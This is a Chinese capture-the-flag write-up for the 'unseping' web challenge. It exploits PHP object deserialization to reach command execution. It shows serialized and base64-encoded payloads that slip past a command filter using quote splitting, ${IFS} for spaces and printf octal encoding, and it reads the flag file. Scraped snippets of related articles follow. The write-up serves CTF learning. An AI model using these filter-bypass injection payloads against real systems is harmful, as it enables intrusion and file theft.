攻防世界unseping

article/2025/7/8 7:03:34

感觉新手题里面最难的一题

----------------------------------------------------------------正文

原题:攻防世界

这个题涉及的只是挺多的,不过主要就是正则表达式,php的反序列化

下面是代码分析环节:

 

因为涉及了php的序列化和反序列化,所以我们应该先看最下面的部分:将用base64解码后的变量序列化后用POST传参。 

然后是_consturuct函数,他是在函数调动前启用,为我们构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以我们把他放在后面。

ping函数(姑且怎么说)规定了我们可以调用系统命令。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

操作步骤:

根据代码我们需要将它补完整,即添加一个序列化。

这串代码的意思为将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

因为ls会被过滤掉,在网上查了查发现三种方法能去点过滤:1空的环境变量 2单引号 3双引号

将变量b进行编码后的数字用POST方法传值给ctf后得到

 

成功看到有一个文件夹为flag_1s_here

我们再尝试用ls查看这个文件夹

因为空格也会被过滤,所以我们用${IFS}绕过。

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

输入后获得:

 我们看到了一个带有flag的php文件,最后我们用cat抓取这个文件的源码不出意外即可获得旗子

但这里有一个特别的点,就是代码会过滤掉/,而上面的三种方法都不适用于/。所以我们需要寻找一种新的方法:$(printf "\154\163")=ls。

这是我在其他大佬那里找到的,虽然不太清楚是什么,但貌似154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

得到:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
所以最终的结果为$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
进行base64编码后为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
用POST对ctf编码后得

 


http://chatgpt.dhexx.cn/article/BB5bCmAV.shtml

相关文章

攻防世界Hong

Hong 题目描述:无 题目环境:https://download.csdn.net/download/m0_59188912/86864063 双击打开MP3文件,报错。 放到kali里面看看文件类型。 命令:file 文件名并不是mp3文件,用binwalk分离试试。 命令:b…

攻防世界inget

进入页面得到 请输入ID,并尝试绕过 思路:通过id进行sql注入 对url进行修改添加/?id1 or 11-- abc 原本当传入id的时候例如id1就是id1 现在传入id1 or 11-- -就变成了id1 or 11-- -,id1或者11返回都是true,-- abc表示注释后面代码。由此…

攻防世界fileclude

自学的困难,一个题10个没见过的知识点,唉,太难了... ----------------------------------------------------------------------------------下面是正文。 原题地址:攻防世界 从题目我们就能看出来这是一个文件包含漏洞的题&…

攻防世界

攻防世界 新手题 misc 前6道 不得不说,这道题真的是入门级别了。答案就在题目中,复制粘贴就好 flag{th1s_!s_a_d4m0_4la9} 把文件拖入kali中,在终端输入file 1 打开文件;输入strings 1|grep flag查找;看到隐藏文件 将文件挂…

攻防世界MISCall

攻防世界MISCall 1、题目 网址:攻防世界 2、原理及工具 原理:git信息泄露 git官网资料:https://www.git-scm.com/book/zh/v2 工具:kali、python 3、解题过程 下载下来的文件名字太长,先改个名字 rootkali:~/De…

攻防世界(新手篇)

作为刚刚进入reserve的小白,这几天在攻防世界的一些解题 no_strings_attached 一看没有exe,估计是linux的文件了,扔进C32Asm里 果然elf文件 先用扔进ida分析,发现主要函数authenticate,找到他的地址 OK&#xff0c…

攻防世界:command_execution

首先掌握命令执行漏洞(Command Execution)的知识。 命令执行漏洞即使用者可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。其造成的原因是Web服务器对用户输入命令安全检测不足(比如没加waf)&am…

攻防世界——web新手区(全解)

当前网络安全形式越来越严重,我国也越来越重视,现在国内乃至国际上各个网络攻防大赛层出不穷,但是练习平台却还是很稀缺,可以说目前网上能够练习的平台也就只有几家,大多数的院校它们有自己的练习平台但并不公开&#…

CTF-攻防世界web新手入门篇

CTF-攻防世界web新手入门(全) 攻防世界网址1、view_source2、robots3、backup4、cookie5、disabled_button6、weak_auth7、simple_php8、get_post9、xff_referer10、webshell11、command_execution12、simple_js 攻防世界网址 https://adworld.xctf.org…

【愚公系列】2023年04月 攻防世界-MOBILE(Android2.0)

文章目录 前言一、Android2.01.题目2.答题 前言 下面介绍两个反编译工具 jadx是一个用于反编译Android APK文件的开源工具,静态反编译,查找索引功能强大jeb和IDA很像,属于动态调试,可以看java汇编也可以生成伪代码,还…

方法重载与方法重写

方法重载 目的:为了解决两个或多个功能相同的不同方法在命名时出现多个不同方法名的问题,重载把一组功能相同的方法命名为同一个方法名,这样就可以减轻开发者在方法的命名上的痛苦。 什么是方法重载 在同一个类中, 具有相同方法名的一组方…

java重写是什么?方法重写特点是什么?

Java属于入门容易,天花板却极高的编程语言。java重写是什么?对于java工程师来说技术的不断发展,需要不断学习java进阶知识。为了帮助大家巩固基础,本文解答了java重写是什么?方法重写特点是什么?等相关问题,希望可以帮到大家。 …

彻底搞懂为什么重写equals还要重写hashcode?

引言 原文链接:深入理解equals和hashCode 由于hashCode与HashMap有一定关系,推荐大家看一下我的这篇文章 HashMap源码大剖析 本文介绍java.lang.Object类中的两个方法:equals和hashCode。这两个方法大家应该都知道,但是这两个方…

Java方法的重写

一、 方法的重写(Override) 重写是子类对父类的允许访问的方法的实现过程进行重新编写,返回值和形参都不能改变。 重写的好处在于子类可以根据需要,定义特定属于自己的行为。也就是说子类能够,根据需要实现父类的方法。…

方法的重写

方法的重写和super关键字 1、重写: 在Java和其他一些高级面向对象的编程语言中,子类可继承父类中的方法,而不需要重新编写相同的方法。但有时子类并不想原封不动地继承父类的方法,而是想作一定的修改,这就需要采用方…

Java方法之重写

方法的重写是学习java面向对象过程中一个极其重要的知识点。那么什么叫方法的重写呢?举个例子(再次摆上使用了多次的老图):              博主毕业后,终于继承了家里面的一笔巨额财产:一辆奇瑞…

为什么重写equals一定要重写hashcode?

引言 这篇文章已经是我很久之前写的,其中的内容表述得不太清楚,或多或少难以让人信服,于是我又写了一篇,链接如下: CSDN链接:彻底搞懂为什么重写equals还要重写hashcode? 微信公众号链接&…

详述重写

1、什么是重写 重写即重新改写,是为了将一个已有的事物进行某些改变以适应新的要求 2、为什么要重写 方法使用的是父类的eat方法,子类继承自父类的eat方法已经不能“准确描述子类自身的行为”,此时就需要用到重写 注:如果父类中…

什么是重写?重写的作用?

一、什么是重写? 1. 重写(Override)概念 重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变。即外壳不变,核心重写! 重写的好处在于子类可以根据需要,定义特定于自己的行为。 也就是说子类能够…

店铺淘客软件定制,1688分销软件OEM贴牌配合精细化运营提升店铺流量

之前做淘宝的有很多人做的是店淘模式,简单来讲店淘模式就是我们开一个淘宝店,然后用软件采集淘宝联盟上的高佣金高销量产品上传到咱们自己的店铺,目前市场上这类软件种类繁多,主要是看软件的功能,安全深度,…